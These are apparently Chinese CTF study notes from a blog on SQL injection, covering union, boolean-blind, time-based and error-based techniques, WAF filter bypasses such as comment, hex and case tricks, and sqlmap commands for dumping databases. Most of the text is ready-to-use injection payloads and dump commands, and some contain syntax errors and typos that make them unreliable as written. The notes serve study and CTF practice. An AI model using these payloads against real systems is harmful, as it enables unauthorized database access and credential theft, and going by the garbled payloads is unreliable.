首页 > 数据库 >ctf_web_sql

ctf_web_sql

时间:2024-08-05 13:39:43浏览次数:10  
标签:web admin ctf sql table where id select schema

1,union联合注入

(1)万能密码

  • and优先级高于or,先执行and; 则username = "用户提交" and password ="1"为假;or后面的条件恒为真;则where条件为真;输出admin表中所有的信息
    select * from admin where username = "用户提交" and password ="1" or "1"="1"
    
  • bp万能密码实验
    //where username=’xxx’+or+1 #’ ;恒为真;#为注释符号;将后面的sql语句注释掉了!
    select * from admin where username='xxx'+or+1#'and password ='password'
    

(2)数字型(不需要构造闭合)

  • infromrtion_schema数据库
    1、table_name、table_schema、columns_name三个字段分别表示表名,数据库名,字段名
    2、information_schema.tables(存放表) information_schema.columns(存放字段)
注入点:select * from news id=1
判断字段数 select * from news id=-1 union order by 2
查询数据库名称和版本 -1 union database(),version() //数据库为sqli
查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() //表名为flag
查询字段名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
//字段为flag
查询内容 -1 union select 1,group_concat(flag) from flag
//从flag表中查询flag字段的内容

(3)字符型(构造闭合 # --+)(在bp中空格用+替换)

注入点:select * from news where id='1' // 使用1'#闭合
字段数:1' order by 1,2,3,4,...#//字段数为2
显示位 1' union select 1,2#//判断显示信息是第几列的信息
数据库和版本信息:-1' union select database(),version()#
//?id=-1 让前面的数据为假;这样才能输出后面的信息;否者后面信息不回显
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#//表名为flag
字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#//字段为flag
内容:-1' union select 1,group_concat(flag) from flag#

(4)union注入常见的passby

  • php常见过滤函数

str_replace()

preg_replace()

preg_math()

  • 常见绕过方式

大小写绕过

双写绕过

16进制编码绕过

eg:

select * from admin where id=1 union select 1,group_concat(column_name) from infromation_schema.columns where table_name='flag'//假设flag被过滤;可以将falg进行编码转换为16进制0x666C6167

1、布尔盲注

  • 布尔盲注利用场景

(1)waf完全过滤union关键字,无法进行联合注入;并且页面不回显信息;但是会返回success和faild等信息

(2)union不能用就是用and进行盲注

//1=1恒为真;这样就可以测试前面id=1的真假;如果为真的回显success;为假返回fail;可以爆破出注入点

Select * from admin where id=1 and 1=1
  • 注入过程
获取数据库长度:id=1 and length(database())=num//使用bp爆破
获取数据库名称:
# substr<==>mid 截取数据库名称的第一个字符判断是否为a;根据length一个字符一个字符的爆破;
id=1 and substr(database(),1,1)='a'
#也可以使用ascii编码进行爆破
id=1 and ascii(substr(database(),1,1))=96//假设数据库为sqli
获取表名称
# limit 1,1<==>1 offset 0 表示截取第一个表
# mid(1,1) <==>from 1 for 1 表示截取第一个表的第一个字符
# ord<==>substr 表示将第一个字符转换为ascii码
id=1 and ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
获取字段名称
# limit 0,1 截取第一个字段
# mid 1,1 截取第一个字段第一个字符
# ord 第一个字段第一个字符转换为ascii码
id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)
获取内容
# mid(1,1) 截取第一个数据第一个字母
id=1 and(mid(select 字段 from 表名),1,1)=97//bp抓包爆破
  • sqlmap自动化注入
#使用--technique B指定sql注入利用的技术;其中B布尔盲注
#获取数据库
Python sqlmap.py -u “url” --technique B  -batch -dbs
#获取表
Python sqlmap.py -u “url” --technique B  -batch -D admin -tables
#获取字段
Python sqlmap.py -u “url” --technique B  -batch -D admin -T flag -columns
#获取内容
Python sqlmap.py -u “url” --technique B  -batch -D admin -T flag -C 
username,password -dump

2、布尔常见passby

(1)常见的过滤

  • 过滤逗号

eg1: substr<==>mid

select * from admin where id=1 and length(database(),1,1)
<==>
select * from admin where id=1 and length(database() from 1 for 1)

eg2:limit

id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
<==>
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' 1 offset 0) from 1 for 1)=96
  • 过滤比较运算符'='

eg1:'=' <==> in

id=1 and length(database(),1,1)=num <==> id=1 and length(database() from 1 for 1) in ('a')

eg2: = <==> between and

id=1 and length(database(),1,1)=num <==> id=1 and length (database(),form 1 for 1) between 'a' and 't'
  • 过滤空格

'空格' <> /**/ <> %26%26

  • 过滤substr

substr <==> mid

(2)综合练习

id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
<==>
id=1/**/ord(substr(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_name/**/in(0x73716C69)1/**/offset/**/0)from/**/1/**/for/**/1/**/)/**/in/**/('96')

一:延时盲注原理

  • 利用场景

(1)无法利用页面显示结果判断sql注入是否执行成功;此时可以利用sql语句执行的延时来判断sql语句是否执行成功

(2)常用的延时函数

sleep(num)

Benchmark(num,function)

  • 注入过程
# 获取数据库长度
# 数据库长度为7则执行sleep7,否则不执行
id=1 and if(length(database()=7,sleep(3),null)
#获取数据库名称
# 数据库第一个字符为w执行sleep(3),否则为null
id=1 and if(substr(database(),1,1)='w',sleep(3),null)
#获取表名称
#limit 0,1 <==> 1 offset 0 表示第一个表
# substr 1,1 <==> from 1 for 1 表示第一个表的第一个字符
# 第一个表的第一个字符为a执行sleep(3),否则不执行
id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
#获取字段
id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
#查询数据内容
id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)

一:报错注入

(1)原理

  • 报错注入利用场景

盲注无法进行注入;利用mysql数据库报错;导致输出查询数据信息

  • 报错注入函数

floor()

updatexml()

extractvalue()

(2)注入过程

  • floor()
# paylod
# group by是分组;concat<==>group_cancat都是拼接函数
# 替换version()完成注入
Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml(data1,data2,data3)

Data1:xml文档对象的名称

Data2:xpath格式的字符串;不符合xpath格式会报错

Data3:新的替换格式

# Payload:
# 
Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);

  • extractvlaue()
# Payload
Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e));
//直接替换version();比如查询数据库;就替换成database()

一:sqlmap的介绍

sqlmap是一个开源的渗透测试工具;可以自动检测和利用sql注入漏洞并接管数据库服务器;它具有强大的检索引擎;同时具有众多功能;包括数据库指纹的识别以及从数据库中获取数据;访问底层文件系统以及在操作系统中执行命令!

二:salmap的使用

(1) 基本用法

Python sqlmap.py -u “url” -cookie=”” --data=”” --batch --dbs//获取数据库名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli --tables//获取表的名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin --columns//获取字段的名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin -C username,password --dump//获取具体的内容

三:sqlmap POST注入

(1)方法1:

Salmap -u “url” --form

(2)方法2:

Sqlmap -u “url” --data=""

(3)方法3:

Sqlmap -r “post.txt” -batch  --cookie="" --dbs

四:基础sql注入过滤

(1)常见的过滤

1、过滤and

and <==> && <==> %26%26
#数据库注释
--+(注释内容)
#(注释内容)
/*注释内容*/

2、大小写绕过 Union

3、双写绕过 ununionion

4、内敛注释绕过

# 如果过滤selecrt 可以使用/!select/绕过
Select * from admin where id=1 Union /*!select*/ 1,2,3,4,5;

5、单引号过滤

select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema= 'admim' 
<==> 
select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=0x61646D696E
<==>
select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=char(97)+char(100)+char(109)+char(105)+char(110)

6、空格过滤

# 括号绕过
select(id)from(admin)where(id=1)
# /**/绕过
select/**/id/**/from/**/admin/**/where/**/id=1
# 反引号绕过
select ‘id’from’admin’where’id=1’
# url编码绕过

7、过滤 ‘=’

# like和ilike替换
Select * from admin where usename=’admin’<==>username like ‘ admin’
# between and替换
Select * from admin where usename between ’admin’ and  ’admin’
#regexp替换
Select * from admin where usename=’admin’<==>username regexp ‘admin’

8、逗号的过滤

# substr(1,1) <==> form 1 form 1
Substr(database(),1,1)<==>substr(database() from 1 for 1)
Limit 1,1 <==> limit 1 offset 0;//0为变量

(2)综合练习

select * from admin where id=1 and(ord(substr(select table_name from information_schema.tables where table_schema=database()limit 1,1)1,1)='a')
<==>
select/**/*/**/from/**/admin/**/where/**/id/**/like/**/1/**/%26%26(ord(mid(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/1/**/offset/**/0)from/**/1/**/for/**/1)like/**/0x61)

标签:web,admin,ctf,sql,table,where,id,select,schema
From: https://www.cnblogs.com/gsupl/p/18343040

相关文章

  • ssm基于web的楼房销售系统+jsp
    文章目录目录文章目录论文目录项目介绍开发环境系统实现论文参考论文目录1绪论1.1 研究背景1.2目的和意义1.3论文结构安排2 相关技术2.1SSM框架介绍2.2 B/S结构介绍2.3Mysql数据库介绍3系统分析3.1 系统可行性分析3.1.1技术可行性分......
  • Python中的Web开发与API设计
    Python中的Web开发与API设计一、开篇:启航PythonWeb开发之旅1.1Python:不仅仅是脚本语言,更是Web开发的明星1.2Web开发的魔法森林:从静态到动态的转变二、基础篇:PythonWeb开发的基石2.1HTTP协议:互联网通信的通用语言2.2Flask框架:轻装上阵的小巧之选2.3Django框架:全......
  • 华为欧拉系统离线安装MySQL5.7步骤
    一、需要准备的软件1、mysql官网下载地址:https://dev.mysql.com/downloads/mysql/下载mysql-5.7.24-linux-glibc2.12-x86_64.tar二、下面开始部署安装mysql1、创建新的用户组和新的用户,用来管理mysql,提高安全性#创建新数组mysqlgroupaddmysql#创建用户mysql,指......
  • 2023 福建省第三届工业互联网创新大赛CTF Misc-Covertchannel2
    题目:近日,公司Windows服务器被入侵,黑客使用了一个比较隐蔽的信道将机密凭据传输了出去,但是蛛丝马迹还是被流量采集设备捕获了,你能从中找回丢失的flag吗?分析:分析该流量包发现了有一个rsa.key,并且在数据包长度为126和119中发现了,secrets.txt和data.zip,接下来就是写脚本提......
  • mysql服务启动失败
    mysql服务启动失败打开mysql_error.log,滑到最底部,发现报错信息如下:报错信息:2024-04-0716:57:380[Note]ServersocketcreatedonIP:'::'.解决办法:复制C:\xampp\mysql\data文件夹【复制到桌面或者随便哪里都行】打开C:\xampp\mysql\backup,复制里面所有的文件粘......
  • 方天云智慧平台系统 GetSalQuatation SQL注入漏洞复现
    0x01产品简介方天云智慧平台系统,作为方天科技公司的重要产品,是一款面向企业全流程的业务管理功能平台,集成了ERP(企业资源规划)、MES(车间执行系统)、APS(先进规划与排程)、PLM(产品生命周期)、CRM(客户关系管理)等多种功能模块,旨在通过云端服务为企业提供数字化、智能化的管理解决方案......
  • 浅谈SQL sever游标
    一、什么是游标?游标是一种用来遍历数据库结果集的机制,它允许用户逐行处理查询结果。在SQLServer中,游标是一种可编程的对象,可以在存储过程或触发器中使用。使用游标可以逐行处理查询结果,执行复杂的逻辑操作,以及在处理数据时进行一些特定的操作。游标通常用于需要逐行处理......
  • Delphi ExtractFilePath
    1、取路径1、取路径。 1.1 ExtractFilePath之类的返回路径。原文链接(https://www.cnblogs.com/ZhouXiHong/archive/2007/01/30/634210.html)ExtractFileDrive:返回完整文件名中的驱动器,如"C:"ExtractFilePath:返回完整文件名中的路径,最后带“/”,如"C:\test\"ExtractFileDir:返......
  • MySQL 是如何实现数据的排序的?
    1.背景或许你面试的时候被问到了mysql的排序问题又或许你在学习排序算法的时候想到了数据库的排序是如何实现的呢下面重点从面试的角度来回答这个问题2.面试回答1.普通面试者回答普通面试者的回答通常是点对点的回答,如下:MySQL实现数据的排序主要通过排序算法和索引结构......
  • GreatSQL 8.0.32-26 今日发布
    GreatSQL8.0.32-26今日发布版本信息发布时间:2024年08月05日版本号:8.0.32-26,Revisiona68b3034c3d下载链接:https://gitee.com/GreatSQL/GreatSQL/releases/tag/GreatSQL-8.0.32-26用户手册:https://greatsql.cn/docs/8.0.32-26/特性增强GreatSQL8.0.32-26版......